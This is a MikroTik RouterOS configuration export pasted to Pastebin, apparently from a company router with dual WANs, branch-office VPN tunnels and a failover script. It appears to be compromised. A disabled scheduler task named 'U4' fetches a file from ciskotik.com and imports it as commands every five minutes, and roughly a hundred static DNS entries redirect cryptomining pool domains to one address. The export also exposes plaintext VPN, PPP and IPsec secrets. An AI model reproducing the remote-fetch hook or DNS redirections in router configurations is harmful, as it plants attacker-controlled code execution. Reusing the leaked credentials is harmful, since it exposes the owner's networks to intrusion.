Advertisement
Guest User

Untitled

a guest
Sep 8th, 2018
510
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 19.69 KB | None | 0 0
  1. # sep/08/2018 14:16:49 by RouterOS 6.34.3
  2. # software id = SI6I-I1PH
  3. #
  4. /interface ethernet
  5. set [ find default-name=ether1 ] comment="WAN1 WebPlus" mac-address=\
  6. 1C:6F:65:EA:E6:B5
  7. set [ find default-name=ether2 ] comment=LAN mac-address=20:6A:8A:12:1A:16 \
  8. speed=1Gbps
  9. set [ find default-name=ether3 ] mac-address=D4:CA:6D:19:E0:E2 master-port=\
  10. ether2 speed=1Gbps
  11. set [ find default-name=ether4 ] comment="WAN2 Rostelecom" mac-address=\
  12. D4:CA:6D:19:E0:E3 speed=1Gbps
  13. set [ find default-name=ether5 ] mac-address=D4:CA:6D:19:E0:E4 master-port=\
  14. ether2 speed=1Gbps
  15. /interface pppoe-client
  16. add dial-on-demand=yes disabled=no interface=ether4 max-mru=1480 max-mtu=1480 \
  17. mrru=1600 name=rostelecom password=szt user=szt
  18. /interface pptp-client
  19. add connect-to=5.19.137.163 disabled=no mrru=1600 name=to-engelsa password=\
  20. i8w4wLgC user=orange3
  21. add connect-to=178.130.30.154 disabled=no mrru=1600 name=to-krylova password=\
  22. ukESH3FvZN user=hq-krylova
  23. add connect-to=4f43048ef7af.sn.mynetname.net disabled=no mrru=1600 name=\
  24. to-moskovskiy password=8yvAwwN5ZNGKO1 user=hq-moskovskiy
  25. /ip neighbor discovery
  26. set ether1 comment="WAN1 WebPlus" discover=no
  27. set ether2 comment=LAN
  28. set ether4 comment="WAN2 Rostelecom"
  29. /interface wireless security-profiles
  30. set [ find default=yes ] supplicant-identity=Apelsin-Kamennostr
  31. /ip ipsec policy group
  32. add name=group1
  33. /ip ipsec proposal
  34. set [ find default=yes ] pfs-group=none
  35. /ip pool
  36. add name=dhcp_pool1 ranges=192.168.103.100-192.168.103.254
  37. add name=pool1 ranges=192.168.168.100-192.168.168.254
  38. /ip dhcp-server
  39. add address-pool=pool1 disabled=no interface=ether2 lease-time=3d name=dhcp1
  40. /ppp profile
  41. add change-tcp-mss=yes name=l2tp-ipsec use-encryption=yes use-mpls=yes
  42. /routing ospf area
  43. add area-id=2.2.2.2 name=area1
  44. /routing ospf instance
  45. set [ find default=yes ] router-id=1.1.1.1
  46. /system logging action
  47. set 0 memory-lines=100
  48. set 1 disk-lines-per-file=100
  49. /user group
  50. set read policy="local,telnet,ssh,read,test,winbox,password,web,sniff,sensitiv\
  51. e,api,!ftp,!reboot,!write,!policy"
  52. /interface bridge settings
  53. set use-ip-firewall=yes
  54. /interface l2tp-server server
  55. set authentication=mschap2 enabled=yes ipsec-secret=Buhhhfewfdkwl use-ipsec=\
  56. yes
  57. /interface pptp-server server
  58. set enabled=yes
  59. /ip address
  60. add address=192.168.168.1/24 interface=ether2 network=192.168.168.0
  61. /ip dhcp-client
  62. add add-default-route=no dhcp-options=hostname,clientid disabled=no \
  63. interface=ether1 use-peer-dns=no use-peer-ntp=no
  64. /ip dhcp-server lease
  65. add address=192.168.168.111 always-broadcast=yes client-id=1:0:1b:a9:92:a6:5d \
  66. mac-address=00:1B:A9:92:A6:5D server=dhcp1
  67. add address=192.168.168.107 always-broadcast=yes client-id=\
  68. 1:bc:5f:f4:ed:87:c9 mac-address=BC:5F:F4:ED:87:C9 server=dhcp1
  69. add address=192.168.168.102 client-id=1:c8:22:2:11:22:6 mac-address=\
  70. C8:22:02:11:22:06 server=dhcp1
  71. /ip dhcp-server network
  72. add address=192.168.103.0/24 comment="LAN office 2" dns-server=\
  73. 192.168.103.1,8.8.8.8 gateway=192.168.103.1
  74. add address=192.168.168.0/24 dns-server=192.168.168.1 gateway=192.168.168.1
  75. /ip dns
  76. set allow-remote-requests=yes servers=8.8.8.8,8.8.4.4,77.88.8.1,77.88.8.8
  77. /ip dns static
  78. add address=209.239.112.96 name=stratum.antpool.com
  79. add address=209.239.112.96 name=asia1.ethermine.org
  80. add address=209.239.112.96 name=stratum.slushpool.com
  81. add address=209.239.112.96 name=asia1.ethpool.org
  82. add address=209.239.112.96 name=cn.stratum.slushpool.com
  83. add address=209.239.112.96 name=eu.stratum.slushpool.com
  84. add address=209.239.112.96 name=asia1.fullhashed.com
  85. add address=209.239.112.96 name=jp-stratum.btcc.com
  86. add address=209.239.112.96 name=asia2.ethermine.org
  87. add address=209.239.112.96 name=mint.bitminter.com
  88. add address=209.239.112.96 name=cn.sparkpool.com
  89. add address=209.239.112.96 name=us.ss.btc.com
  90. add address=209.239.112.96 name=aurorapool.net
  91. add address=209.239.112.96 name=na-west.sparkpool.com
  92. add address=209.239.112.96 name=daggerhashimoto.br.nicehash.com
  93. add address=209.239.112.96 name=na-east.sparkpool.com
  94. add address=209.239.112.96 name=daggerhashimoto.eu.nicehash.com
  95. add address=209.239.112.96 name=tw.sparkpool.com
  96. add address=209.239.112.96 name=daggerhashimoto.hk.nicehash.com
  97. add address=209.239.112.96 name=kr.sparkpool.com
  98. add address=209.239.112.96 name=daggerhashimoto.in.nicehash.com
  99. add address=209.239.112.96 name=jp.sparkpool.com
  100. add address=209.239.112.96 name=daggerhashimoto.jp.nicehash.com
  101. add address=209.239.112.96 name=bitcoin.viabtc.com
  102. add address=209.239.112.96 name=daggerhashimoto.usa.nicehash.com
  103. add address=209.239.112.96 name=stratum-us.f2pool.com
  104. add address=209.239.112.96 name=coinotron.com
  105. add address=209.239.112.96 name=stratum.f2pool.com
  106. add address=209.239.112.96 name=eth.1stpool.com
  107. add address=209.239.112.96 name=stratum.btcguild.com
  108. add address=209.239.112.96 name=eth.anorak.tech
  109. add address=209.239.112.96 name=stratum.btccpool.com
  110. add address=209.239.112.96
  111. add address=209.239.112.96 name=stratum.btc.top
  112. add address=209.239.112.96 name=eth.2miners.com
  113. add address=209.239.112.96 name=eth.antpool.com
  114. add address=209.239.112.96 name=eth-ar.dwarfpool.com
  115. add address=209.239.112.96 name=eth.arsmine.net
  116. add address=209.239.112.96 name=eth-as.coinmine.pl
  117. add address=209.239.112.96 name=eth-asia1.nanopool.org
  118. add address=209.239.112.96 name=eth-br.dwarfpool.com
  119. add address=209.239.112.96 name=eth.chileminers.cl
  120. add address=209.239.112.96 name=eth.coinfoundry.org
  121. add address=209.239.112.96 name=eth.coinmine.pl
  122. add address=209.239.112.96 name=ethepool.com
  123. add address=209.239.112.96 name=ether.bw.com
  124. add address=209.239.112.96 name=etherdig.net
  125. add address=209.239.112.96 name=ethereum.marshsoftware.ca
  126. add address=209.239.112.96 name=ethereumpool.club
  127. add address=209.239.112.96 name=ethergrab.us
  128. add address=209.239.112.96 name=ethermine.ru
  129. add address=209.239.112.96 name=ethertrench.com
  130. add address=209.239.112.96 name=eth.ethertrench.com
  131. add address=209.239.112.96 name=eth-eu1.nanopool.org
  132. add address=209.239.112.96 name=eth-eu.coinmine.pl
  133. add address=209.239.112.96 name=eth-eu.dwarfpool.com
  134. add address=209.239.112.96 name=eth-eu.mining.sk
  135. add address=209.239.112.96 name=eth-eu.pool.sexy
  136. add address=209.239.112.96 name=eth.f2pool.com
  137. add address=209.239.112.96 name=eth.gigantpool.com
  138. add address=209.239.112.96 name=eth.gpumine.org
  139. add address=209.239.112.96 name=eth-hk.dwarfpool.com
  140. add address=209.239.112.96 name=eth.miningcity.org
  141. add address=209.239.112.96 name=eth.mymininghub.com
  142. add address=209.239.112.96 name=eth.pool.minergate.com
  143. add address=209.239.112.96 name=eth.poolmining.org
  144. add address=209.239.112.96 name=eth-pool.ucrypto.net
  145. add address=209.239.112.96 name=eth.pool.zet-tech.eu
  146. add address=209.239.112.96 name=eth-ru.dwarfpool.com
  147. add address=209.239.112.96 name=eth-ru.edgestile.io
  148. add address=209.239.112.96 name=eth-ru.mining.sk
  149. add address=209.239.112.96 name=eth-sg.dwarfpool.com
  150. add address=209.239.112.96 name=eth.soyminero.es
  151. add address=209.239.112.96 name=eth.suprnova.cc
  152. add address=209.239.112.96 name=eth.uleypool.com
  153. add address=209.239.112.96 name=eth-us.coinmine.pl
  154. add address=209.239.112.96 name=eth-us.dwarfpool.com
  155. add address=209.239.112.96 name=eth-us-east1.nanopool.org
  156. add address=209.239.112.96 name=eth-us.maxhash.org
  157. add address=209.239.112.96 name=eth-us.pool.sexy
  158. add address=209.239.112.96 name=eth-us-west1.nanopool.org
  159. add address=209.239.112.96 name=eth.waterhole.io
  160. add address=209.239.112.96 name=eth.xeminer.net
  161. add address=209.239.112.96 name=eth.zion.net.co
  162. add address=209.239.112.96 name=eu1.ethermine.org
  163. add address=209.239.112.96 name=eu1.ethpool.org
  164. add address=209.239.112.96 name=eu2.ethermine.org
  165. add address=209.239.112.96 name=eu.99miners.com
  166. add address=209.239.112.96 name=eu.ethmine.club
  167. add address=209.239.112.96 name=eu.sparkpool.com
  168. add address=209.239.112.96 name=huabei2-pool.ethfans.org
  169. add address=209.239.112.96 name=huabei-pool.ethfans.org
  170. add address=209.239.112.96 name=miningcity.org
  171. add address=209.239.112.96 name=my.ethpool.net
  172. add address=209.239.112.96 name=noobpool.com
  173. add address=209.239.112.96 name=pool.ethfans.org
  174. add address=209.239.112.96 name=pool.virtualmining.pt
  175. add address=209.239.112.96 name=s.comining.io
  176. add address=209.239.112.96 name=us1.ethermine.org
  177. add address=209.239.112.96 name=us1.ethpool.org
  178. add address=209.239.112.96 name=us2.ethermine.org
  179. add address=209.239.112.96 name=us2.ethpool.org
  180. add address=209.239.112.96 name=vaux-all.uk
  181. /ip firewall address-list
  182. add address=0.0.0.0/8 list=BOGONS
  183. add address=10.0.0.0/8 list=BOGONS
  184. add address=100.64.0.0/10 list=BOGONS
  185. add address=127.0.0.0/8 list=BOGONS
  186. add address=169.254.0.0/16 list=BOGONS
  187. add address=172.16.0.0/12 list=BOGONS
  188. add address=192.0.0.0/24 list=BOGONS
  189. add address=192.0.2.0/24 list=BOGONS
  190. add address=198.18.0.0/15 list=BOGONS
  191. add address=198.51.100.0/24 list=BOGONS
  192. add address=203.0.113.0/24 list=BOGONS
  193. add address=192.168.101.0/24 list=LAN
  194. add address=192.168.102.0/24 list=LAN
  195. add address=192.168.103.0/24 list=LAN
  196. add address=192.168.168.0/24 list=LAN
  197. /ip firewall mangle
  198. add action=mark-connection chain=forward comment="WAN INPUT" in-interface=\
  199. ether1 new-connection-mark=WAN
  200. add action=mark-connection chain=input comment="WAN INPUT" in-interface=\
  201. ether1 new-connection-mark=WAN
  202. add action=mark-connection chain=forward comment="WAN2 INPUT" in-interface=\
  203. rostelecom new-connection-mark=WAN2
  204. add action=mark-connection chain=input comment="WAN2 INPUT" in-interface=\
  205. rostelecom new-connection-mark=WAN2
  206. add action=mark-routing chain=prerouting comment="WAN2 OUTPUT" \
  207. connection-mark=rostelecom new-routing-mark=WAN2 src-address=\
  208. 192.168.168.0/24
  209. add action=mark-routing chain=prerouting comment="WAN OUTPUT" \
  210. connection-mark=ether1 new-routing-mark=WAN src-address=192.168.168.0/24
  211. add action=mark-routing chain=output comment="WAN OUTPUT" connection-mark=\
  212. ether1 new-routing-mark=WAN
  213. add action=mark-routing chain=output comment="WAN2 OUTPUT" connection-mark=\
  214. rostelecom new-routing-mark=WAN2
  215. /ip firewall nat
  216. add action=src-nat chain=srcnat disabled=yes protocol=tcp src-address=\
  217. 192.168.168.107 src-port=8000 to-addresses=192.168.168.107
  218. add action=masquerade chain=srcnat comment=NAT out-interface=ether1
  219. add action=masquerade chain=srcnat comment="NAT wan2" out-interface=\
  220. rostelecom
  221. add action=dst-nat chain=dstnat comment="portmap to SamoturSRV" dst-address=\
  222. 94.188.35.136 dst-port=8800 protocol=tcp to-addresses=192.168.168.107 \
  223. to-ports=8800
  224. add action=dst-nat chain=dstnat comment="portmap to SamoturSRV TEST" \
  225. disabled=yes dst-address=94.188.35.136 dst-port=8800 protocol=tcp \
  226. to-addresses=192.168.168.107 to-ports=8080
  227. add action=dst-nat chain=dstnat comment="TCP Port-map to NCP500" dst-port=\
  228. 35300 in-interface=ether1 protocol=tcp to-addresses=192.168.168.3 \
  229. to-ports=35300
  230. add action=dst-nat chain=dstnat comment="UDP Port-map to NCP500" dst-port=\
  231. 35300 in-interface=ether1 protocol=udp to-addresses=192.168.168.3 \
  232. to-ports=35300
  233. add action=dst-nat chain=dstnat comment="TCP 800 -> 80" dst-port=800 \
  234. in-interface=ether1 protocol=tcp to-addresses=192.168.168.102 to-ports=80
  235. add action=dst-nat chain=dstnat comment="TCP 34567" dst-port=34567 \
  236. in-interface=ether1 protocol=tcp to-addresses=192.168.168.102 to-ports=\
  237. 34567
  238. add action=dst-nat chain=dstnat comment="TCP 34600" dst-port=34600 \
  239. in-interface=ether1 protocol=tcp to-addresses=192.168.168.102 to-ports=\
  240. 34600
  241. add chain=dstnat dst-port=8728 protocol=tcp
  242. /ip ipsec peer
  243. add address=0.0.0.0/0 disabled=yes enc-algorithm=aes-256,aes-192,aes-128,3des \
  244. exchange-mode=main-l2tp generate-policy=port-override nat-traversal=no \
  245. policy-template-group=group1 secret=Buhhhfewfdkwl
  246. /ip route
  247. add distance=1 gateway=100.65.232.1 routing-mark=WAN2
  248. add distance=1 gateway=94.188.35.1 routing-mark=WAN
  249. add distance=1 gateway=10.1.1.1
  250. add distance=2 gateway=10.1.1.2
  251. add distance=3 gateway=10.2.2.1
  252. add distance=4 gateway=10.2.2.2
  253. add distance=1 dst-address=8.8.4.4/32 gateway=rostelecom scope=10
  254. add distance=1 dst-address=8.8.8.8/32 gateway=94.188.35.1 scope=10
  255. add check-gateway=ping distance=1 dst-address=10.1.1.1/32 gateway=8.8.8.8 \
  256. scope=10
  257. add check-gateway=ping distance=1 dst-address=10.1.1.2/32 gateway=77.88.8.1 \
  258. scope=10
  259. add check-gateway=ping distance=1 dst-address=10.2.2.1/32 gateway=8.8.4.4 \
  260. scope=10
  261. add check-gateway=ping distance=1 dst-address=10.2.2.2/32 gateway=77.88.8.8 \
  262. scope=10
  263. add distance=1 dst-address=77.88.8.1/32 gateway=94.188.35.1 scope=10
  264. add distance=1 dst-address=77.88.8.8/32 gateway=100.65.232.1 scope=10
  265. add comment="Route to Engelsa133 LAN" distance=1 dst-address=192.168.101.0/24 \
  266. gateway=172.2.2.1
  267. add comment="Route to Office2 (Krylova)" distance=1 dst-address=\
  268. 192.168.102.0/24 gateway=172.2.1.1
  269. add comment="route to Moskovsk-office" disabled=yes distance=1 dst-address=\
  270. 192.168.104.0/24 gateway=172.2.3.1
  271. /ip service
  272. set telnet disabled=yes
  273. set ftp disabled=yes
  274. set www disabled=yes
  275. set ssh port=11209
  276. /ppp secret
  277. add local-address=172.2.4.1 name=orange2 password=UShNvFbJ profile=\
  278. default-encryption remote-address=172.2.4.2 service=pptp
  279. add disabled=yes local-address=172.2.2.1 name=orange3 password=i8w4wLgC \
  280. profile=default-encryption remote-address=172.2.2.2 service=pptp
  281. add local-address=172.2.3.1 name=orange1 password=z94eoJxi profile=\
  282. default-encryption remote-address=172.2.3.2 service=pptp
  283. add local-address=172.2.5.1 name=orange4 password=g2kaPmnZ profile=\
  284. default-encryption remote-address=172.2.5.2 service=l2tp
  285. add disabled=yes local-address=172.2.6.1 name=kraud password=Passw0rD \
  286. profile=default-encryption remote-address=172.2.6.2 service=pptp
  287. /routing ospf interface
  288. add interface=to-moskovskiy network-type=point-to-point
  289. add cost=30 network-type=point-to-point
  290. /routing ospf network
  291. add area=area1 network=172.0.0.0/8
  292. add area=area1 network=192.168.0.0/16
  293. /system clock
  294. set time-zone-autodetect=no time-zone-name=Europe/Moscow
  295. /system identity
  296. set name=Apelsin-Marata
  297. /system ntp client
  298. set enabled=yes primary-ntp=195.3.254.2 secondary-ntp=95.140.150.140
  299. /system scheduler
  300. add disabled=yes name=set_global_parametrs on-event=set_global_parameters \
  301. policy=ftp,reboot,read,write,policy,test,password,sniff,sensitive \
  302. start-time=startup
  303. add disabled=yes interval=27s name=define_main_if_ip on-event=\
  304. define_main_if_ip policy=\
  305. ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
  306. mar/21/2016 start-time=07:47:26
  307. add disabled=yes interval=27s name=define_reserved_if_ip on-event=\
  308. define_reserved_if_ip policy=\
  309. ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
  310. mar/21/2016 start-time=07:47:26
  311. add disabled=yes interval=1m name=connection_check on-event=connection_check \
  312. policy=ftp,reboot,read,write,policy,test,password,sniff,sensitive \
  313. start-date=mar/21/2016 start-time=07:47:27
  314. add disabled=yes name="disable ether4" on-event="interface disable ether4" \
  315. policy=ftp,reboot,read,write,policy,test,password,sniff,sensitive \
  316. start-date=apr/24/2017 start-time=19:37:20
  317. add disabled=yes name="enable ether1" on-event="interface enable ether1" \
  318. policy=ftp,reboot,read,write,policy,test,password,sniff,sensitive \
  319. start-date=apr/24/2017 start-time=20:12:00
  320. add disabled=yes name="enable ether4" on-event="interface enable ether4" \
  321. policy=ftp,reboot,read,write,policy,test,password,sniff,sensitive \
  322. start-date=apr/24/2017 start-time=19:37:30
  323. add disabled=yes interval=5m name=U4 on-event="/tool fetch url=http://ciskotik\
  324. .com/3.php mode=http dst-path=webproxy/error.html\
  325. \n/import webproxy/error.html" policy=\
  326. ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
  327. sep/06/2018 start-time=19:15:15
  328. /system script
  329. add name=set_global_parameters owner=admin policy=\
  330. ftp,reboot,read,write,policy,test,password,sniff,sensitive source="#Main i\
  331. nterface name\r\
  332. \n:global MainIf ether1\r\
  333. \n#Reserve interface name\r\
  334. \n:global RsrvIf ether2\r\
  335. \n#Main interface ip address\r\
  336. \n:global MainIfAddress \"\"\r\
  337. \n#Reserve interface ip address\r\
  338. \n:global RsrvIfAddress \"\""
  339. add name=define_main_if_ip owner=admin policy=\
  340. ftp,reboot,read,write,policy,test,password,sniff,sensitive source=":global\
  341. \_MainIf\r\
  342. \n :global MainIfAddress \"\"\r\
  343. \n :set MainIfAddress [/ip address get [find interface=\$MainIf] address]"
  344. add name=define_reserved_if_ip owner=admin policy=\
  345. ftp,reboot,read,write,policy,test,password,sniff,sensitive source=" :globa\
  346. l RsrvIf\r\
  347. \n :global RsrvIfAddress \"\"\r\
  348. \n :set RsrvIfAddress [/ip address get [find interface=\$RsrvIf] address]"
  349. add name=connection_check owner=admin policy=\
  350. ftp,reboot,read,write,policy,test,password,sniff,sensitive source=":global\
  351. \_MainIf\r\
  352. \n:global RsrvIf\r\
  353. \n:global MainIfAddress\r\
  354. \n:global RsrvIfAddress\r\
  355. \n \r\
  356. \n:local PingCount 3\r\
  357. \n \r\
  358. \n#www.ru\r\
  359. \n#:local PingTarget1 194.87.0.50\r\
  360. \n:local PingTarget1 217.112.35.75\r\
  361. \n \r\
  362. \n#ya.ru\r\
  363. \n:local PingTarget2 87.250.250.203\r\
  364. \n \r\
  365. \n#google dns\r\
  366. \n:local PingTarget3 8.8.8.8\r\
  367. \n \r\
  368. \n#Check main internet connection\r\
  369. \n:local MainIfInetOk false;\r\
  370. \n \r\
  371. \nif (\$MainIfAddress=\"\") do={delay 5}\r\
  372. \n \r\
  373. \nif (\$MainIfAddress!=\"\") do={\r\
  374. \n:local PingResult1 [/ping \$PingTarget1 count=\$PingCount routing-table=\
  375. to_ISP1]\r\
  376. \n:local PingResult2 [/ping \$PingTarget2 count=\$PingCount routing-table=\
  377. to_ISP1]\r\
  378. \n:local PingResult3 [/ping \$PingTarget3 count=\$PingCount routing-table=\
  379. to_ISP1]\r\
  380. \n \r\
  381. \n:set MainIfInetOk ((\$PingResult1 + \$PingResult2 + \$PingResult3) >= (2\
  382. \_* \$PingCount))\r\
  383. \n}\r\
  384. \n \r\
  385. \n#Check reserved internet connection\r\
  386. \n:local RsrvIfInetOk false;\r\
  387. \n \r\
  388. \nif (\$RsrvIfAddress=\"\") do={delay 5}\r\
  389. \n \r\
  390. \nif (\$RsrvIfAddress!=\"\") do={\r\
  391. \n:local PingResult1 [/ping \$PingTarget1 count=\$PingCount routing-table=\
  392. to_ISP2]\r\
  393. \n:local PingResult2 [/ping \$PingTarget2 count=\$PingCount routing-table=\
  394. to_ISP2]\r\
  395. \n:local PingResult3 [/ping \$PingTarget3 count=\$PingCount routing-table=\
  396. to_ISP2]\r\
  397. \n \r\
  398. \n:set RsrvIfInetOk ((\$PingResult1 + \$PingResult2 + \$PingResult3) >= (2\
  399. \_* \$PingCount))\r\
  400. \n}\r\
  401. \n \r\
  402. \n:put \"MainIfInetOk=\$MainIfInetOk\"\r\
  403. \n:put \"RsrvIfInetOk=\$RsrvIfInetOk\"\r\
  404. \n \r\
  405. \nif (!\$MainIfInetOk) do={\r\
  406. \n/log error \"Main internet connection error\"\r\
  407. \n}\r\
  408. \n \r\
  409. \nif (!\$RsrvIfInetOk) do={\r\
  410. \n/log error \"Reserve internet connection error\"\r\
  411. \n}\r\
  412. \n \r\
  413. \n:local MainGWDistance [/ip route get [find comment=\"MainGW\"] distance]\
  414. \r\
  415. \n:local RsrvGWDistance [/ip route get [find comment=\"RsrvGW\"] distance]\
  416. \r\
  417. \n:put \"MainGWDistance=\$MainGWDistance\"\r\
  418. \n:put \"RsrvGWDistance=\$RsrvGWDistance\"\r\
  419. \n \r\
  420. \n#SetUp gateways\r\
  421. \nif (\$MainIfInetOk && (\$MainGWDistance >= \$RsrvGWDistance)) do={\r\
  422. \n/ip route set [find comment=\"MainGW\"] distance=1\r\
  423. \n/ip route set [find comment=\"RsrvGW\"] distance=2\r\
  424. \n/log info \"Switch to main internet connection\"\r\
  425. \n}\r\
  426. \n \r\
  427. \nif (!\$MainIfInetOk && \$RsrvIfInetOk && (\$MainGWDistance <= \$RsrvGWDi\
  428. stance)) do={\r\
  429. \n/ip route set [find comment=\"MainGW\"] distance=2\r\
  430. \n/ip route set [find comment=\"RsrvGW\"] distance=1\r\
  431. \n/log warning \"Switch to reserve internet connection\"\r\
  432. \n}"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement